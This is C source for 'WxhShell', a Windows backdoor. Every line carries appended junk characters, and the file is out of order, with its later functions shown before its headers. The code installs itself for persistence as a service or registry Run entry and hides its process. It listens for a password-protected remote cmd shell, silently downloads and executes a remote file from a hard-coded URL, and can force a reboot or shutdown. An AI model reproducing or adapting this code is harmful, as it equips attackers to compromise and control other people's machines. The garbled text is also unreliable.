    if(Boot(SHUTDOWN)) c[SU5 66y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HWqLcQ d:P  
    else { [tUv*jw%  
    closesocket(wsh); AG]W O8f)  
    ExitThread(0); e:N7BZl'c9  
    } g b -Bxf  
    break; wms1IV%;  
    } 2~f6~\4GL+  
  // 获取shell a{h%DpG  
  case 's': { 9Z&?R++?  
    CmdShell(wsh); /ZHO>LNN|  
    closesocket(wsh); ||uZ bP@  
    ExitThread(0); h4f ~5- Y  
    break; ZP"yq6!i  
  } ezp<@'0ZT  
  // 退出 !#q{Z>H`  
  case 'x': { hM~eJv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ><[| G9  
    CloseIt(wsh); U.: sK*  
    break; 2Ok?@ZdjA{  
    } mc?';dEG  
  // 离开 a`#S|'oatC  
  case 'q': { 0pD W _  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +%P t_  
    closesocket(wsh); Vo%Yf9C  
    WSACleanup(); *|mz_cKu  
    exit(1); |U#DUqw  
    break; wG+=}1X  
        } o]A XT8  
  } ;Xqn-R  
  } d7* CwY9"  
B={/nC}G~  
  // 提示信息 kl" ]Nw'C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -Q#o)o  
} q69H ^E=  
  } Q uB+vL  
Vt'L1Wr0v  
  return; jZRhKT  
} MEEAQd<*  
RcQ>eZHl  
// shell模块句柄 Jy9bY  
int CmdShell(SOCKET sock) !2z!8kI  
{ l]H0g[  
STARTUPINFO si; 0h22V$  
ZeroMemory(&si,sizeof(si)); QZ&4:K+{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qm< gb+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +@0TMK,P  
PROCESS_INFORMATION ProcessInfo; yO=p3PV d  
char cmdline[]="cmd"; <;%0T xK|U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E/ijvuO  
  return 0; rj3YTu`  
} 4.8nY\_WF  
{7qA&c=  
// 自身启动模式 \m f*ge\  
int StartFromService(void) "A;s56}'&  
{ 2JVxzj<~`  
typedef struct :j@8L.<U  
{ (3VGaUlx  
  DWORD ExitStatus; atyu/+U'}  
  DWORD PebBaseAddress; 1Y#HcW&  
  DWORD AffinityMask; 3[r";Wt#  
  DWORD BasePriority; Z'Q*L?E8M  
  ULONG UniqueProcessId; {b1UX9y  
  ULONG InheritedFromUniqueProcessId; c` , 2h#  
}   PROCESS_BASIC_INFORMATION; 9x? B5Ap[  
}p=g*Zo*C;  
PROCNTQSIP NtQueryInformationProcess; MAnp{  
%(`#A.yaE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 77*qkKr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cx{T '1  
D{cZxI  
  HANDLE             hProcess; r,4lqar;E  
  PROCESS_BASIC_INFORMATION pbi; OEnDsIhq  
W5.Va.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L]I3P|y_  
  if(NULL == hInst ) return 0; cD2+hp|9  
&Yf",KcL*I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n_P3\Y|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'a#mViPTQ)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D L{R|3{N  
 / +1{  
  if (!NtQueryInformationProcess) return 0; P]Xbjs<p  
1CkdpYjsj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mibpG9+d  
  if(!hProcess) return 0; VYaSB?`/  
<'+ %\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WhFS2Jl0  
rA1q SG~c  
  CloseHandle(hProcess); *P!s{i  
]CX[7Q+'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |CIC$2u  
if(hProcess==NULL) return 0; f@@s1gdb  
y\'P3ihK  
HMODULE hMod; \~#WY5  
char procName[255]; EB!daZH,  
unsigned long cbNeeded; (?3[3 w~  
rC BfD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,PECYwegkt  
lZW K2  
  CloseHandle(hProcess); ]Bnwk o  
,a0pAj  
if(strstr(procName,"services")) return 1; // 以服务启动 ;Lo&}U3F,!  
HI`q1m.  
  return 0; // 注册表启动 dlDki.  
} ufrqsv]=  
Bu3T/m  
// 主模块 KKEN'-3  
int StartWxhshell(LPSTR lpCmdLine) >o~Z>lr  
{ =P`~t<ajB  
  SOCKET wsl; zN~6HZ_:^  
BOOL val=TRUE; vfwA$7N  
  int port=0; r &%.z*q  
  struct sockaddr_in door; MT6/2d  
P`jL]x  
  if(wscfg.ws_autoins) Install(); {Dr@HP/x=s  
33K*qaRAD  
port=atoi(lpCmdLine); +}@ 8p[`)  
J!TBREK  
if(port<=0) port=wscfg.ws_port; .A6lj).:  
tmJgm5v  
  WSADATA data; c|AtBgvf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WKl+{e  
TWd;EnNM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g=l:cVr8y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XiQkrZ  
  door.sin_family = AF_INET; QTmZ( >z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,=BLnsg  
  door.sin_port = htons(port); .Cz %:%9  
* R d#{Io7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6CCbBA  
closesocket(wsl); ^"i~ DC  
return 1; `t (D!  
} +f NvNbtA  
'dJ/RJ~  
  if(listen(wsl,2) == INVALID_SOCKET) { G7@ O`N8'  
closesocket(wsl); &:5\"b  
return 1; tX%`#hb?s  
} k?6z_vu  
  Wxhshell(wsl); feX^~gM  
  WSACleanup(); j1-,Sqi  
r$(~j^<s  
return 0; =f1B,%7G+5  
hs+kr?Pg`  
} T vtm`Yk\  
{9LWUCpsf  
// 以NT服务方式启动 Bs ;|D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PdeBDFWD  
{ Dyg?F )6  
DWORD   status = 0; 831JwS R  
  DWORD   specificError = 0xfffffff; -\,zRIOK  
o "z@&G" ^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $` VFdAe  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; # 1.YKo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )G1P^WV4  
  serviceStatus.dwWin32ExitCode     = 0; n_u1&a'  
  serviceStatus.dwServiceSpecificExitCode = 0; 6oD\-H  
  serviceStatus.dwCheckPoint       = 0; k`{7}zxS  
  serviceStatus.dwWaitHint       = 0; +q<B.XxkA  
58V[mlW)O0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nBItO~l  
  if (hServiceStatusHandle==0) return; XORk!m|  
51B lM%  
status = GetLastError(); H1EDMhn/  
  if (status!=NO_ERROR) "v-(g9(  
{ !j:`7PT\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^W?Z  
    serviceStatus.dwCheckPoint       = 0; h 8e757z  
    serviceStatus.dwWaitHint       = 0; w5=tlb  
    serviceStatus.dwWin32ExitCode     = status; PVOx`<ng  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3)=c]@N0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u3 0s_\  
    return; 28.~iw  
  } 3AcD,,M>>  
eqAW+Ptx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q'Wr[A40j  
  serviceStatus.dwCheckPoint       = 0; !g!5_ |  
  serviceStatus.dwWaitHint       = 0; qJ4T]FVN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,XkGe   
} 5ETip'<KT6  
@`36ku  
// 处理NT服务事件,比如:启动、停止 4qi[r)G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [K/m  
{ tWeFEVg  
switch(fdwControl) >slm$~rv  
{ 5Por "&%  
case SERVICE_CONTROL_STOP: ]b/S6oc6  
  serviceStatus.dwWin32ExitCode = 0; m!tx(XsXU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z3TS,a1I4  
  serviceStatus.dwCheckPoint   = 0; !p/%lU65  
  serviceStatus.dwWaitHint     = 0; <[:o !$  
  { ?:{sH#ua  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RDqFL.-S  
  } . #lsic8]  
  return; :Y,BdU  
case SERVICE_CONTROL_PAUSE: /Ci*Az P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Kf tgOG f  
  break; 8T)&`dM6P~  
case SERVICE_CONTROL_CONTINUE: T:]L/wCj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BQH}6ueZ  
  break; F[ ajOb8  
case SERVICE_CONTROL_INTERROGATE: "XgmuSQ!  
  break; b89a)k>^g  
}; $j}OB6^I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \%Ves@hG>  
} 6z0@I*  
Fs_]RfG  
// 标准应用程序主函数 uc7Eq45  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z/;Xl~  
{ XW{>-PBg:  
0& >H^  
// 获取操作系统版本 SP*fv`  
OsIsNt=GetOsVer(); v3d&*I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ".^VI2T  
_A13[Mt3  
  // 从命令行安装 xL|;VyD  
  if(strpbrk(lpCmdLine,"iI")) Install(); S"Lx%  
j>uj=B@  
  // 下载执行文件 ;V^pL((5J  
if(wscfg.ws_downexe) { @fv}G>t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ez]tAW  
  WinExec(wscfg.ws_filenam,SW_HIDE); <f@"HG l  
} zZcnijWb  
,)PiP/3B  
if(!OsIsNt) { ;9o;r)9~  
// 如果时win9x,隐藏进程并且设置为注册表启动 [/s&K{+c  
HideProc(); #U8rO;$  
StartWxhshell(lpCmdLine); yz8mP3"c:o  
} fXI:Y8T  
else DejA4XdW  
  if(StartFromService()) oi}i\: hI  
  // 以服务方式启动 ~qe%Yq  
  StartServiceCtrlDispatcher(DispatchTable); 7dsefNPb  
else 8 C[/dH  
  // 普通方式启动 3(TsgP >`  
  StartWxhshell(lpCmdLine); dL7E<?l  
Y!iZW  
return 0; `w I/0  
} !Z VU,b>  
)i+2X5B`S  
`qJw|u>YpJ  
!EUan  
=========================================== sf&]u;^DY  
V%$/#sza  
-*5Rnx|Y{  
.920{G?l5  
bR@p<;G|  
]smkTo/  
" qC F5~;7  
[Nn`l,  
#include <stdio.h> }neY<{z  
#include <string.h> c'/l,k  
#include <windows.h> C8FB:JNJV  
#include <winsock2.h> __mF ?m  
#include <winsvc.h> (/35p g6\  
#include <urlmon.h> @gY)8xMbA  
 V#VN %{  
#pragma comment (lib, "Ws2_32.lib") UAoh`6vFF8  
#pragma comment (lib, "urlmon.lib") )K &(  
%HrAzM.QBF  
#define MAX_USER   100 // 最大客户端连接数 df7wN#kO+  
#define BUF_SOCK   200 // sock buffer N F)~W#  
#define KEY_BUFF   255 // 输入 buffer dOa%9[  
jKt7M>P  
#define REBOOT     0   // 重启 Eke5Nb  
#define SHUTDOWN   1   // 关机 >EY3/Go>  
boDt`2=  
#define DEF_PORT   5000 // 监听端口 }&_/PA0j  
MEB it  
#define REG_LEN     16   // 注册表键长度 RX/hz|   
#define SVC_LEN     80   // NT服务名长度 vWAL^?HUP  
I`NjqyTW  
// 从dll定义API #g6.Glz3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U&O: _>~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e7wSOs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P.gb 1$7<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '7O3/GDK  
Gea\,{E9xA  
// wxhshell配置信息 13taFV dU  
struct WSCFG { $ X q!L  
  int ws_port;         // 监听端口 1GzAG;UUo6  
  char ws_passstr[REG_LEN]; // 口令 ,v"YqD+GC5  
  int ws_autoins;       // 安装标记, 1=yes 0=no x.-+[l[1 !  
  char ws_regname[REG_LEN]; // 注册表键名 / m=HG^!  
  char ws_svcname[REG_LEN]; // 服务名 -'6Dg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yPq'( PV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AK@9?_D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /Rl6g9}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3Z1CWzq(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O({2ivX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `V##Y  
.V,@k7U,V  
}; FSND>\>  
p, #o<W  
// default Wxhshell configuration P&f7@MOV.P  
struct WSCFG wscfg={DEF_PORT, !KUi\yQ1  
    "xuhuanlingzhe", #\=FO>  
    1, % >=!p  
    "Wxhshell", B {>7-0  
    "Wxhshell", ZHa"isl$e  
            "WxhShell Service", <Y}R#o1Z  
    "Wrsky Windows CmdShell Service", wb0L.'jyR)  
    "Please Input Your Password: ", 1y}Y9mlD.  
  1, {;2PL^i  
  "http://www.wrsky.com/wxhshell.exe", Zu7)gf  
  "Wxhshell.exe" kGl~GOB a  
    }; .[_L=_.  
Hj}K{20  
// 消息定义模块 5 sX+~Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c Vc-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r]6C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |:gf lseE  
char *msg_ws_ext="\n\rExit."; OGl}-kw  
char *msg_ws_end="\n\rQuit."; m;,N)<~  
char *msg_ws_boot="\n\rReboot..."; +U3DG$  
char *msg_ws_poff="\n\rShutdown..."; hv?9*tLh0  
char *msg_ws_down="\n\rSave to "; 'tH_p  
[@.!~E)P  
char *msg_ws_err="\n\rErr!"; ')cMiX\v  
char *msg_ws_ok="\n\rOK!"; P5UL4uyl  
:.Wr{"`  
char ExeFile[MAX_PATH]; |!4K!_y  
int nUser = 0; 1eF3`  
HANDLE handles[MAX_USER]; .6Pw|xu`Pw  
int OsIsNt; d$1@4r  
,5h)x"s  
SERVICE_STATUS       serviceStatus; I`!<9OTBj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DW[N|-L  
Vh4X%b$TV  
// 函数声明 BI%$c~wS  
int Install(void); H:V2[y8\  
int Uninstall(void); *_d7E   
int DownloadFile(char *sURL, SOCKET wsh); X9V*UXTc  
int Boot(int flag); ;>Ib^ov  
void HideProc(void); [MUpxOAsd  
int GetOsVer(void); u I )6M  
int Wxhshell(SOCKET wsl); ) AvN\sC  
void TalkWithClient(void *cs); ?Wlb3;  
int CmdShell(SOCKET sock); , K~}\CR  
int StartFromService(void); {ttysQ-  
int StartWxhshell(LPSTR lpCmdLine); te-jfmu2  
J| w>a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \| 8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Wi)_H$KII  
.[ICx  
// 数据结构和表定义 1G^`-ri6  
SERVICE_TABLE_ENTRY DispatchTable[] = Hquc o  
{ `r9!zffyS  
{wscfg.ws_svcname, NTServiceMain}, m+]K;}.}R  
{NULL, NULL} X aMJDa|M  
}; W_"sM0 w  
g,!L$,/F  
// 自我安装 ?Lk)gO^C  
int Install(void) \"P%`  C  
{ V2wb%;q  
  char svExeFile[MAX_PATH]; 3[Qxd{8r  
  HKEY key; ?67Y-\}  
  strcpy(svExeFile,ExeFile); "ut39si  
z7fp#>uw  
// 如果是win9x系统,修改注册表设为自启动 Jdj2~pTq  
if(!OsIsNt) { #Lh;CSS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *XIF)Q=<>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0AL=S$B)  
  RegCloseKey(key); p8Qk 'F=h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fHx*e'eA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vdc\R?  
  RegCloseKey(key); ek*rp`y]  
  return 0; %]}  
    } |ATvS2  
  } -cAo@}v  
} _@ qjV~%Sy  
else { 286jI7T  
pmyXLT  
// 如果是NT以上系统,安装为系统服务 2K/4Rf0;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L [pBB  
if (schSCManager!=0) 4V)kx[j  
{ TNe l/   
  SC_HANDLE schService = CreateService KJ)k =mJ  
  ( ,is3&9  
  schSCManager, S%Uutj\/W  
  wscfg.ws_svcname, &5B'nk"  
  wscfg.ws_svcdisp, 2} /aFR  
  SERVICE_ALL_ACCESS, 3 /g~A{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (c=6yV@  
  SERVICE_AUTO_START, \ C+~m  
  SERVICE_ERROR_NORMAL, 1#< '&Lr  
  svExeFile, 7x|9n  
  NULL, ?N*>*"  
  NULL, ?]_$Dcmx  
  NULL, iL-(O;n  
  NULL, vc;$-v$&  
  NULL KQ!8ks]  
  ); )Q&(f/LT  
  if (schService!=0) |4;Fd9q^m  
  { "^})zf~_  
  CloseServiceHandle(schService); FrGgga$  
  CloseServiceHandle(schSCManager); hF~n)oQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \/r}]Vz  
  strcat(svExeFile,wscfg.ws_svcname); PR#exm&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nv|NQ Tk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7rc0yB  
  RegCloseKey(key); &[?\k>  
  return 0; 'CM|@Zz%  
    } Tztu}t]N  
  } a/4T> eC  
  CloseServiceHandle(schSCManager); '}53f2%gKa  
} ?jv/TBZX4  
} $]/{[@5  
N2^=E1|_  
return 1; c<B/V0]  
}  MzdV2.  
_^Ubs>d=*  
// 自我卸载 99e.n0  
int Uninstall(void) /$Nsd  
{ 3w*R&  
  HKEY key; 2j [=\K]  
JzQ_{J`k  
if(!OsIsNt) { 6,8h]?u.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )4e.k$X^  
  RegDeleteValue(key,wscfg.ws_regname); vtg !8u4  
  RegCloseKey(key); x}Eg.S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {T$9?`h~M  
  RegDeleteValue(key,wscfg.ws_regname); Cgk<pky1  
  RegCloseKey(key); y@S$^jk.  
  return 0; U`(ee*}o  
  } k_#ak%m/  
} t%0VJB,Q2  
} tKOmoC  
else { {L{o]Ii?g  
1hY{k{+o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HmGWht6R  
if (schSCManager!=0) o q Xg  
{ {3mRq"e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EHJ.T~X  
  if (schService!=0) ( Y[Q,  
  { :D5Rlfj  
  if(DeleteService(schService)!=0) { L\J;J%fz.  
  CloseServiceHandle(schService); b|:YIXml  
  CloseServiceHandle(schSCManager); ~g]Vw4pv  
  return 0; ;WQve_\  
  } Ua: sye  
  CloseServiceHandle(schService); gD @){Ip  
  }  JYI,N  
  CloseServiceHandle(schSCManager); {UI+$/v#  
} N)X3XTY  
} vH@ds k  
2*& ^v  
return 1; q 'yva  
} A:%`wX}  
yS'I[l  
// 从指定url下载文件 4SxX3Fw  
int DownloadFile(char *sURL, SOCKET wsh) -=Q*Ml#I  
{ >1Ibc=}g  
  HRESULT hr; D%pF;XY  
char seps[]= "/"; L~OvY  
char *token; "%w u2%i  
char *file; Dw.J2>uj  
char myURL[MAX_PATH]; j3V -LnA  
char myFILE[MAX_PATH]; &DX! f  
&K#M*B ,*p  
strcpy(myURL,sURL); K;G~V\  
  token=strtok(myURL,seps); 6<QQ@5_  
  while(token!=NULL) kVMg 1I@  
  { aeJHMHFc  
    file=token; Ee! 4xg  
  token=strtok(NULL,seps); %ntRG !  
  } X&`t{Id?6  
LL~%f &_  
GetCurrentDirectory(MAX_PATH,myFILE); 6A-|[(NS  
strcat(myFILE, "\\"); F^;ez/Gl  
strcat(myFILE, file); b]#AI qt  
  send(wsh,myFILE,strlen(myFILE),0); \Gvm9M  
send(wsh,"...",3,0); &j"?\f?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yR{3!{r3(  
  if(hr==S_OK) ##>H&,Dp[  
return 0; 0S!K{xyR  
else $%#!bV  
return 1; JPw.8|V)y  
_Y;W0Z  
} Z@!+v 19^  
!_)[/q"  
// 系统电源模块 bq*eH (qx  
int Boot(int flag)  x'<X!gw  
{ ^u ~Q/ 4  
  HANDLE hToken; 2^ nxoye  
  TOKEN_PRIVILEGES tkp; rjYJs*#  
OQJ6e:BGt  
  if(OsIsNt) { Vt#.eL)Ee  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BRiE&GzrF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); + cN8Y}V  
    tkp.PrivilegeCount = 1; UZ+<\+q3^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u^  ~W+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ad_h K O  
if(flag==REBOOT) { }o`76rDN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (*iHf"=\  
  return 0; h2d(?vOT  
} wb l&  
else { wFZP,fQ9l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (9dl(QSd  
  return 0; /%^#8<=|U  
} N~'c_l  
  } ]h5tgi?_l  
  else { oUlVI*~ND  
if(flag==REBOOT) { ujpJ@OWj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3^yK!-Wp(  
  return 0; o66}yJzmD  
} xJ.M;SF4  
else { utV_W&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0</);g}  
  return 0; UkFC~17P  
} ,z=LY5_z)  
} Qo|\-y-#  
tKXIk9e  
return 1; k!Y, 63V=  
} 7@W>E;go  
H<+TR6k<  
// win9x进程隐藏模块 Xsa].  
void HideProc(void) cw <l{A  
{ & 1f+,  
dSHDWu&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G18b$z  
  if ( hKernel != NULL ) TB31- ()  
  { La[V$+Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3ckclO\|>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]7A'7p $Y  
    FreeLibrary(hKernel); 493*{  
  } 7b+6%fV  
hM! a_'  
return; 5|)W.*Q  
} d&>^&>?$zh  
5)X=*I  
// 获取操作系统版本 cFXp  
int GetOsVer(void) GTHt'[t@;  
{ $%f&a3#  
  OSVERSIONINFO winfo; I7 ]8Y=xf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N?8!3&TiV  
  GetVersionEx(&winfo); v`T c}c '  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )boE/4  
  return 1; P.DK0VgY  
  else #AY&BWS$  
  return 0; gjlx~.0d  
} +lTq^4  
\Vk:93OH21  
// 客户端句柄模块 Q+{n-? :  
int Wxhshell(SOCKET wsl) c &c@M$  
{ |DwZ{(R"W  
  SOCKET wsh; 0> \sQ,T  
  struct sockaddr_in client; eyxW 0}[  
  DWORD myID; #O&8A  
Pg{J{gn  
  while(nUser<MAX_USER) m]&SNz=  
{ t6t!t*jO  
  int nSize=sizeof(client); 7d\QB (~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); * v#o  
  if(wsh==INVALID_SOCKET) return 1; rvM{M/4  
nJ;.Td  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m4Zk\,1m.|  
if(handles[nUser]==0) -nwypu  
  closesocket(wsh); F"mmLao  
else lEBLZ}}\  
  nUser++; |uJ%5y#  
  } -'Mf\h 8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;9#KeA _  
ia? c0xL  
  return 0; B)UZ`?>c  
} w32y3~  
RM/ 0A|  
// 关闭 socket fN2lLn9/u  
void CloseIt(SOCKET wsh) y1#1Ne_  
{ -:rUw$3J  
closesocket(wsh); wuo,kM  
nUser--; 8 FhdN  
ExitThread(0); iURe([@  
} B-mowmJ3dg  
}-2|XD%]  
// 客户端请求句柄 |':{lH6+1  
void TalkWithClient(void *cs) _"{Xi2@H  
{ {4PwLCy  
hqdDm  
  SOCKET wsh=(SOCKET)cs; u1.BN>G  
  char pwd[SVC_LEN]; K)P%;X  
  char cmd[KEY_BUFF]; ji= "DYtL  
char chr[1]; QsW/X0YBv  
int i,j; D m9sL!  
p K$`$H  
  while (nUser < MAX_USER) { [-x7_=E#  
V~ _>U}  
if(wscfg.ws_passstr) { 4&iCht =  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dF2RH)Ud  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I`#JwMU;m  
  //ZeroMemory(pwd,KEY_BUFF); ss-D(K"  
      i=0; yCo.cd-  
  while(i<SVC_LEN) { 8b=_Y;  
*lb<$E]="!  
  // 设置超时 :zR!/5  
  fd_set FdRead; T8NxJmYqB  
  struct timeval TimeOut; T^q 0'#/  
  FD_ZERO(&FdRead); Mb=" Te>|  
  FD_SET(wsh,&FdRead); fXB0j;A  
  TimeOut.tv_sec=8; Z6m)tZVM  
  TimeOut.tv_usec=0; ?@89lLD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :v 4]D4\o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); paMa+jhQQ  
FgO)DQm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #fM'>$N  
  pwd=chr[0]; ,u!sjx  
  if(chr[0]==0xd || chr[0]==0xa) { B/C,.?Or  
  pwd=0; -K$)DvV^(E  
  break; wA.\i  
  } :@&/kyGH  
  i++; nj4/#W  
    } dqAw5[qMJ  
eDB;cN  
  // 如果是非法用户,关闭 socket -{A<.a3P}=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J8D,ZfPN`d  
} o"SMbj  
GKCroyor  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2"~8Z(0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :Q q#Z  
mA}"a<0  
while(1) { -']56o_sQ/  
^C%<l( b  
  ZeroMemory(cmd,KEY_BUFF); \Og+c%  
B-ESFATc  
      // 自动支持客户端 telnet标准   cj@koA'  
  j=0; DL.!G  
  while(j<KEY_BUFF) { ?1".;foZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _XT pU  
  cmd[j]=chr[0]; /7LR;>Bj  
  if(chr[0]==0xa || chr[0]==0xd) { -^wl>}#*T3  
  cmd[j]=0; =Runf +}  
  break; |&jXp%4T  
  } Rva$IX ^]  
  j++;  C.QO#b  
    } ~;]d"'  
mcok/,/  
  // 下载文件 "I TIhnE  
  if(strstr(cmd,"http://")) { lRdChoL$2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6zn5UW#q  
  if(DownloadFile(cmd,wsh)) D#z:()VT(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ze;KhUPRm  
  else -{_PuJ "  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bjS {(  
  } iR0y"Cii  
  else { A(N4N  
\di=  
    switch(cmd[0]) { R GX=)  
  c"xK`%e  
  // 帮助 UZ$/Ni  
  case '?': { E!AE4B1bd  
